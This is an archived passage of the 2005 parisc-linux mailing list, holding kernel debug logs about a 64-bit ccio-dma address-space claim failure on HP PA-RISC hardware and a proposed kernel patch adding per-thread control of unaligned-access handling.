X-Trace: ger.gmane.org 1416623786 14613 80.91.229.3 (22 Nov 2014 02:36:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 May 2005 16:29:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 17 May 2005 18:29:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC2C97D647;
	Tue, 17 May 2005 10:29:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20624-08; Tue, 17 May 2005 10:29:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7195D7D649;
	Tue, 17 May 2005 10:29:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED3797D635
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 May 2005 10:29:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20624-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 May 2005 10:29:25 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id D12377D626
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 May 2005 10:29:24 -0600 (MDT)
Original-Received: from mail-5-bnl.mail.tiscali.sys ([10.39.115.135]
	helo=mail-5-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43)
	id 1DY4wZ-0006Be-BB; Tue, 17 May 2005 18:29:22 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Tue, 17 May 2005 18:29:18 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VHn4YgsaeSEkO76WZHQhaXN1IGRvb0CZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22720

Hello Grant,

>
> On Fri, May 13, 2005 at 07:50:05AM +0200, Joel Soete wrote:
> > Ah I thought (too quickly) that it could be the reason why:
> > ...
> > ccio-dma.c: failed to claim CCIO bus address space (ffffffff00000000,=
ffffffffffffffff)
>
> That's a completely different issue.
> It would be interesting to know why it's asking for that range.
> Where are the values of that range coming from?
> (ie what is the origin of ffffffff00000000 value)
>
Here are more DBG_INIT() :-)
32bit kernel:
...
Found devices:
1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0xf, 0x580, 0x0000b }
2. UL 550 Lasi Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x02f, 0x00081 },
 additional addresses: 0xffd0c000 0xffc00000
3. UL 550 Lasi Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x02f, 0x000=
8c
}
4. UL 550 Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x02f, 0x00082 }
5. UL 350 Core LAN (802.3) at 0xffd07000 [8/16/6] { 10, 0x0, 0x02f, 0x000=
8a
}
6. UL 550 Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x02f, 0x0007=
4
},  additional addresses: 0xffd01000 0xffd03000
7. UL 550 Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x02f, 0x00084=

}
8. UL 550 Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x02f, 0x00084=

}
9. UL 550 Core Wax BA at 0xffe00000 [8/20] { 11, 0x0, 0x031, 0x0008e }
10. UL 550 Wax EISA BA at 0xfc000000 [8/20/5] { 11, 0x0, 0x031, 0x00090 }=
,
 additional addresses: 0xffc88000
11. UL 550 Wax Core RS-232 at 0xffe02000 [8/20/2] { 10, 0x0, 0x031, 0x000=
8c
}
12. Bluefish Add-on FW-SCSI at 0xf1004000 [8/4] { 4, 0x1, 0x013, 0x00089
}
13. Bluefish Add-on FW-SCSI at 0xf1008000 [8/8] { 4, 0x1, 0x013, 0x00089
}
14. Bluefish Add-on FW-SCSI at 0xf100c000 [8/12] { 4, 0x1, 0x013, 0x00089=

}
15. U2-IOA BC GSC+ Port at 0xf103f000 [8/63] { 7, 0x1, 0x501, 0x0000c }
16. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0xf, 0x580, 0x0000b }
17. U2-IOA BC GSC+ Port at 0xf183f000 [10/63] { 7, 0x1, 0x501, 0x0000c }
18. UL proc 2-way U180 1M/1M at 0xfffa0000 [32] { 0, 0x0, 0x5aa, 0x00004
}
19. UL proc 2-way U180 1M/1M at 0xfffa2000 [34] { 0, 0x0, 0x5aa, 0x00004
}
20. Memory at 0xfffb1000 [49] { 1, 0x0, 0x07c, 0x00009 }
CONFIG_SMP=3Dn  ignoring additional CPUs
CPU: probe of 34 failed with error 1
CPU(s): 1 x PA8000 (PCX-U) at 180.000000 MHz
Setting cache flush threshold to 20 (1 CPUs online)
Found U2 at 0xfff88000
ccio_probe() ioc_count 0
ccio_probe() dev->hpa fff88000
ccio_probe() ioc->ioc_regs fff88000
ccio_ioc_init() num_physpages 65536
     count_parisc_driver 2
     iova_space_size 32768
     limited iova_space_size 32768
     iov_order 15
     iova_space_size now bytes 134217728
     ioc->pdir_size 262144
ccio_ioc_init() hpa 0xfff88000 mem 256MB IOV 128MB (27 bits)
ccio_ioc_init() pdir 10740000 size 40000
 base 10740000
ccio_ioc_init() res_size 0x1000
ccio_ioc_init() res_map 106b7000 size 1000
 chainid_shift 0x13
ccio_init_resource(res=3D10712c68, name=3DGSC Bus [8/], ioaddr=3Dfff88078=
)
ccio_init_resource() res->start f1000000
ccio_init_resource() res->end f17fffff
ccio_init_resource() res->end + 1  f1800000
ccio_init_resource() claimed CCIO bus address space (f1000000, f17fffff)
ccio_init_resource(res=3D10712c84, name=3DGSC Bus [8/], ioaddr=3Dfff88060=
)
ccio_init_resource() res->start fc000000
ccio_init_resource() res->end fff7ffff
ccio_init_resource() res->end + 1  fff80000
ccio_init_resource() claimed CCIO bus address space (fc000000, fff7ffff)
Found U2 at 0xfff8a000
ccio_probe() ioc_count 1
ccio_probe() dev->hpa fff8a000
ccio_probe() ioc->ioc_regs fff8a000
ccio_ioc_init() num_physpages 65536
     count_parisc_driver 2
     iova_space_size 32768
     limited iova_space_size 32768
     iov_order 15
     iova_space_size now bytes 134217728
     ioc->pdir_size 262144
ccio_ioc_init() hpa 0xfff8a000 mem 256MB IOV 128MB (27 bits)
ccio_ioc_init() pdir 10780000 size 40000
 base 10780000
ccio_ioc_init() res_size 0x1000
ccio_ioc_init() res_map 106b9000 size 1000
 chainid_shift 0x13
ccio_init_resource(res=3D1071245c, name=3DGSC Bus [10/], ioaddr=3Dfff8a07=
8)
ccio_init_resource() res->start f1800000
ccio_init_resource() res->end f1ffffff
ccio_init_resource() res->end + 1  f2000000
ccio_init_resource() claimed CCIO bus address space (f1800000, f1ffffff)
ccio_init_resource(res=3D10712478, name=3DGSC Bus [10/], ioaddr=3Dfff8a06=
0)
ccio_init_resource() res->start 00000000
ccio_init_resource() res->end ffffffff
ccio_init_resource() res->end + 1  00000000
Lasi version 0 at 0xffd00000 found.
...

64bit kernel:
Found devices:
1. U2-IOA BC Runway Port at 0xfffffffffff88000 [8] { 12, 0xf, 0x580, 0x00=
00b
}
2. UL 550 Lasi Core BA at 0xffffffffffd00000 [8/16] { 11, 0x0, 0x02f, 0x0=
0081
},  additional addresses: 0xffffffffffd0c000 0xffffffffffc00000
3. UL 550 Lasi Core RS-232 at 0xffffffffffd05000 [8/16/4] { 10, 0x0, 0x02=
f,
0x0008c }
4. UL 550 Core SCSI at 0xffffffffffd06000 [8/16/5] { 10, 0x0, 0x02f, 0x00=
082
}
5. UL 350 Core LAN (802.3) at 0xffffffffffd07000 [8/16/6] { 10, 0x0, 0x02=
f,
0x0008a }
6. UL 550 Core Centronics at 0xffffffffffd02000 [8/16/0] { 10, 0x0, 0x02f=
,
0x00074 },  additional addresses: 0xffffffffffd01000 0xffffffffffd03000
7. UL 550 Core PS/2 Port at 0xffffffffffd08000 [8/16/7] { 10, 0x0, 0x02f,=

0x00084 }
8. UL 550 Core PS/2 Port at 0xffffffffffd08100 [8/16/8] { 10, 0x0, 0x02f,=

0x00084 }
9. UL 550 Core Wax BA at 0xffffffffffe00000 [8/20] { 11, 0x0, 0x031, 0x00=
08e
}
10. UL 550 Wax EISA BA at 0xfffffffffc000000 [8/20/5] { 11, 0x0, 0x031, 0=
x00090
},  additional addresses: 0xffffffffffc88000
11. UL 550 Wax Core RS-232 at 0xffffffffffe02000 [8/20/2] { 10, 0x0, 0x03=
1,
0x0008c }
12. Bluefish Add-on FW-SCSI at 0xfffffffff1004000 [8/4] { 4, 0x1, 0x013,
0x00089 }
13. Bluefish Add-on FW-SCSI at 0xfffffffff1008000 [8/8] { 4, 0x1, 0x013,
0x00089 }
14. Bluefish Add-on FW-SCSI at 0xfffffffff100c000 [8/12] { 4, 0x1, 0x013,=

0x00089 }
15. U2-IOA BC GSC+ Port at 0xfffffffff103f000 [8/63] { 7, 0x1, 0x501, 0x0=
000c
}
16. U2-IOA BC Runway Port at 0xfffffffffff8a000 [10] { 12, 0xf, 0x580, 0x=
0000b
}
17. U2-IOA BC GSC+ Port at 0xfffffffff183f000 [10/63] { 7, 0x1, 0x501, 0x=
0000c
}
18. UL proc 2-way U180 1M/1M at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5aa,
0x00004 }
19. UL proc 2-way U180 1M/1M at 0xfffffffffffa2000 [34] { 0, 0x0, 0x5aa,
0x00004 }
20. Memory at 0xfffffffffffb1000 [49] { 1, 0x0, 0x07c, 0x00009 }
CONFIG_SMP=3Dn  ignoring additional CPUs
CPU: probe of 34 failed with error 1
CPU(s): 1 x PA8000 (PCX-U) at 180.000000 MHz
Setting cache flush threshold to e9f80 (1 CPUs online)
Found U2 at 0xfffffffffff88000
ccio_probe() ioc_count 0
ccio_probe() dev->hpa fffffffffff88000
ccio_probe() ioc->ioc_regs fffffffffff88000
ccio_ioc_init() num_physpages 65536
     count_parisc_driver 2
     iova_space_size 32768
     limited iova_space_size 32768
     iov_order 15
     iova_space_size now bytes 134217728
     ioc->pdir_size 262144
ccio_ioc_init() hpa 0xfffffffffff88000 mem 256MB IOV 128MB (27 bits)
ccio_ioc_init() pdir 0000000010a80000 size 40000
 base 0000000010a80000
ccio_ioc_init() res_size 0x1000
ccio_ioc_init() res_map 00000000109e4000 size 1000
 chainid_shift 0x13
ccio_init_resource(res=3D00000000109e3858, name=3DGSC Bus [8/], ioaddr=3D=
fffffffffff88078)
ccio_init_resource() res->start fffffffff1000000
ccio_init_resource() res->end fffffffff17fffff
ccio_init_resource() res->end + 1  fffffffff1800000
ccio_init_resource() claimed CCIO bus address space (fffffffff1000000, ff=
fffffff17fffff)
ccio_init_resource(res=3D00000000109e3890, name=3DGSC Bus [8/], ioaddr=3D=
fffffffffff88060)
ccio_init_resource() res->start fffffffffc000000
ccio_init_resource() res->end fffffffffff7ffff
ccio_init_resource() res->end + 1  fffffffffff80000
ccio_init_resource() claimed CCIO bus address space (fffffffffc000000, ff=
fffffffff7ffff)
Found U2 at 0xfffffffffff8a000
ccio_probe() ioc_count 1
ccio_probe() dev->hpa fffffffffff8a000
ccio_probe() ioc->ioc_regs fffffffffff8a000
ccio_ioc_init() num_physpages 65536
     count_parisc_driver 2
     iova_space_size 32768
     limited iova_space_size 32768
     iov_order 15
     iova_space_size now bytes 134217728
     ioc->pdir_size 262144
ccio_ioc_init() hpa 0xfffffffffff8a000 mem 256MB IOV 128MB (27 bits)
ccio_ioc_init() pdir 0000000010ac0000 size 40000
 base 0000000010ac0000
ccio_ioc_init() res_size 0x1000
ccio_ioc_init() res_map 00000000109e6000 size 1000
 chainid_shift 0x13
ccio_init_resource(res=3D00000000109e5858, name=3DGSC Bus [10/], ioaddr=3D=
fffffffffff8a078)
ccio_init_resource() res->start fffffffff1800000
ccio_init_resource() res->end fffffffff1ffffff
ccio_init_resource() res->end + 1  fffffffff2000000
ccio_init_resource() claimed CCIO bus address space (fffffffff1800000, ff=
fffffff1ffffff)
ccio_init_resource(res=3D00000000109e5890, name=3DGSC Bus [10/], ioaddr=3D=
fffffffffff8a060)
ccio_init_resource() res->start ffffffff00000000
ccio_init_resource() res->end ffffffffffffffff
ccio_init_resource() res->end + 1  0000000000000000
ccio_init_resource() failed to claim CCIO bus address space (ffffffff0000=
0000,
ffffffffffffffff)
ccio_init_resource() claimed CCIO bus address space (ffffffff00000000, ff=
ffffffffffffff)
Lasi version 0 at 0xffffffffffd00000 found.

even thought I have no doc to now what would means:
        res->start =3D (unsigned long)(signed) READ_U32(ioaddr) << 16; (=3D=
=3D
0x0 in 32bits)
        res->end =3D (unsigned long)(signed) (READ_U32(ioaddr + 4) << 16)=
 -
1; (=3D=3D 0xffffffff in 32bits too)

but seems that test:
        if (res->end + 1 =3D=3D res->start)
is a stuff which not love 64bit :-(

Any idea?

Thanks,
    Joel

PS: I also noticed something weird versus my c110:
Found devices:
1. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0x7, 0x580, 0x0000b }
...
4. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0x7, 0x580, 0x0000b }
...
Found U2 at 0xfff8a000
...
ccio_init_resource(res=3D10be2434, name=3DGSC Bus [10/], ioaddr=3Dfff8a07=
8)
ccio_init_resource() claimed CCIO bus address space (f3fc0000, f3ffffff)
ccio_init_resource(res=3D10be2450, name=3DGSC Bus [10/], ioaddr=3Dfff8a06=
0)
ccio_init_resource() claimed CCIO bus address space (f4000000, f7ffffff)
Found U2 at 0xfff88000
...
ccio_init_resource(res=3D10becc34, name=3DGSC Bus [8/], ioaddr=3Dfff88078=
)
ccio_init_resource() claimed CCIO bus address space (f3f80000, f3fbffff)
ccio_init_resource(res=3D10becc50, name=3DGSC Bus [8/], ioaddr=3Dfff88060=
)
ccio_init_resource() claimed CCIO bus address space (f8000000, ffe3ffff)
...

So there are well (2*2) resources initialized.

OTC on the d380 (32bit kernel)
Found devices:
1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0xf, 0x580, 0x0000b }
...
16. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0xf, 0x580, 0x0000b }
...
Found U2 at 0xfff88000
...
ccio_init_resource(res=3D10712c68, name=3DGSC Bus [8/], ioaddr=3Dfff88078=
)
ccio_init_resource() claimed CCIO bus address space (f1000000, f17fffff)
ccio_init_resource(res=3D10712c84, name=3DGSC Bus [8/], ioaddr=3Dfff88060=
)
ccio_init_resource() claimed CCIO bus address space (fc000000, fff7ffff)
Found U2 at 0xfff8a000
...
ccio_init_resource(res=3D1071245c, name=3DGSC Bus [10/], ioaddr=3Dfff8a07=
8)
ccio_init_resource() claimed CCIO bus address space (f1800000, f1ffffff)
ccio_init_resource(res=3D10712478, name=3DGSC Bus [10/], ioaddr=3Dfff8a06=
0)
...
if I well understand only 3 resources initialized?


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@there.is.no.cabal.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Make unaligned handling optional on a
	pre-process basis
Date: Wed, 18 May 2005 18:53:40 -0400
Lines: 114
Approved: news@gmane.org
Message-ID: <20050518225340.GA8057@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623786 14615 80.91.229.3 (22 Nov 2014 02:36:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:26 +0000 (UTC)
Cc: lamont@debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 May 2005 22:55:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 19 May 2005 00:55:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C5A07D414;
	Wed, 18 May 2005 16:55:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26702-09; Wed, 18 May 2005 16:55:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D79C7D415;
	Wed, 18 May 2005 16:55:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B6F47D413
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 May 2005 16:55:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27360-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 May 2005 16:55:04 -0600 (MDT)
Original-Received: from fattire.cabal.ca (there.is.no.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id B276B7D412
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 May 2005 16:55:04 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id A5CA917083;
	Wed, 18 May 2005 18:55:03 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12285-03; Wed, 18 May 2005 18:54:52 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 72CEA17085; Wed, 18 May 2005 18:54:52 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x410845687-52656d6f746546617454697265-494e424f582e4f7574626f78: 1116456843-0472509961231-v4.0.8
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jaL5YooPeSEkW76WZHQhaXN1IGRvb4Cb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22721

Hi all,

LaMont wanted this for a Debian machine, so I bashed this out,
any objections?

 arch/parisc/kernel/unaligned.c |   16 ++++++++++------
 include/asm-parisc/processor.h |   19 +++++++++++++++++++
 kernel/sys.c                   |    1 +
 3 files changed, 30 insertions(+), 6 deletions(-)

kernel/sys.c :
	Add explicit include of processor.h since we're using macros that
	both hppa and ia64 use there.

arch/parisc/kernel/unaligned.c :
	Force a SIGBUS if desired on a per thread basis.

Index: arch/parisc/kernel/unaligned.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/unaligned.c,v
retrieving revision 1.14
diff -u -d -p -r1.14 unaligned.c
--- arch/parisc/kernel/unaligned.c	4 Oct 2004 19:12:49 -0000	1.14
+++ arch/parisc/kernel/unaligned.c	18 May 2005 22:50:12 -0000
@@ -513,15 +513,18 @@ void handle_unaligned(struct pt_regs *re
 	register int flop=0;	/* true if this is a flop */
 
 	/* log a message with pacing */
-	if (user_mode(regs))
-	{
-		if (unaligned_count > 5 && jiffies - last_time > 5*HZ)
-		{
+	if (user_mode(regs)) {
+                if (current->thread.flags & PARISC_UAC_SIGBUS) {
+                        goto force_sigbus;
+                }
+
+		if (unaligned_count > 5 && jiffies - last_time > 5*HZ) {
 			unaligned_count = 0;
 			last_time = jiffies;
 		}
-		if (++unaligned_count < 5)
-		{
+
+		if (!(current->thread.flags & PARISC_UAC_NOPRINT) 
+                    && ++unaligned_count < 5) {
 			char buf[256];
 			sprintf(buf, "%s(%d): unaligned access to 0x" RFMT " at ip=0x" RFMT "\n",
 				current->comm, current->pid, regs->ior, regs->iaoq[0]);
@@ -530,6 +533,7 @@ void handle_unaligned(struct pt_regs *re
 			show_regs(regs);
 #endif		
 		}
+
 		if (!unaligned_enabled)
 			goto force_sigbus;
 	}
Index: include/asm-parisc/processor.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/processor.h,v
retrieving revision 1.11
diff -u -d -p -r1.11 processor.h
--- include/asm-parisc/processor.h	12 Jan 2005 20:17:51 -0000	1.11
+++ include/asm-parisc/processor.h	18 May 2005 22:50:15 -0000
@@ -121,7 +121,26 @@ struct thread_struct {
 }; 
 
 /* Thread struct flags. */
+#define PARISC_UAC_NOPRINT	(1UL << 0)	/* see prctl and unaligned.c */
+#define PARISC_UAC_SIGBUS	(1UL << 1)
 #define PARISC_KERNEL_DEATH	(1UL << 31)	/* see die_if_kernel()... */
+
+#define PARISC_UAC_SHIFT	0
+#define PARISC_UAC_MASK		(PARISC_UAC_NOPRINT|PARISC_UAC_SIGBUS)
+
+#define SET_UNALIGN_CTL(task,value)                                       \
+        ({                                                                \
+        (task)->thread.flags = (((task)->thread.flags & ~PARISC_UAC_MASK) \
+                                | (((value) << PARISC_UAC_SHIFT) &        \
+                                   PARISC_UAC_MASK));                     \
+        0;                                                                \
+        })
+
+#define GET_UNALIGN_CTL(task,addr)                                        \
+        ({                                                                \
+        put_user(((task)->thread.flags & PARISC_UAC_MASK)                 \
+                 >> PARISC_UAC_SHIFT, (int __user *) (addr));             \
+        })
 
 #define INIT_THREAD { \
 	regs:	{	gr: { 0, }, \
Index: kernel/sys.c
===================================================================
RCS file: /var/cvs/linux-2.6/kernel/sys.c,v
retrieving revision 1.25
diff -u -d -p -r1.25 sys.c
--- kernel/sys.c	9 May 2005 02:01:00 -0000	1.25
+++ kernel/sys.c	18 May 2005 22:50:15 -0000
@@ -30,6 +30,7 @@
 #include <linux/compat.h>
 #include <linux/syscalls.h>
 
+#include <asm/processor.h>
 #include <asm/uaccess.h>
 #include <asm/io.h>
 #include <asm/unistd.h>
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ccio-dma 64bit debug_init info
Date: Wed, 18 May 2005 23:55:09 -0600
Lines: 114
Approved: news@gmane.org
Message-ID: <20050519055509.GB29802@colo.lackof.org>
References: <4282FEEE00001BF0@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623786 14616 80.91.229.3 (22 Nov 2014 02:36:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 May 2005 05:52:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 19 May 2005 07:52:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8260B7D62E;
	Wed, 18 May 2005 23:52:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29385-04; Wed, 18 May 2005 23:52:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 67DDE7D627;
	Wed, 18 May 2005 23:52:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B43E7D615
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 May 2005 23:52:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28913-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 May 2005 23:52:00 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8DB577D611
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 May 2005 23:52:00 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B6C5529806F;
	Wed, 18 May 2005 23:55:09 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07847-09; Wed, 18 May 2005 23:55:09 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2B08929804C; Wed, 18 May 2005 23:55:09 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4282FEEE00001BF0@mail-5-bnl.tiscali.it>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
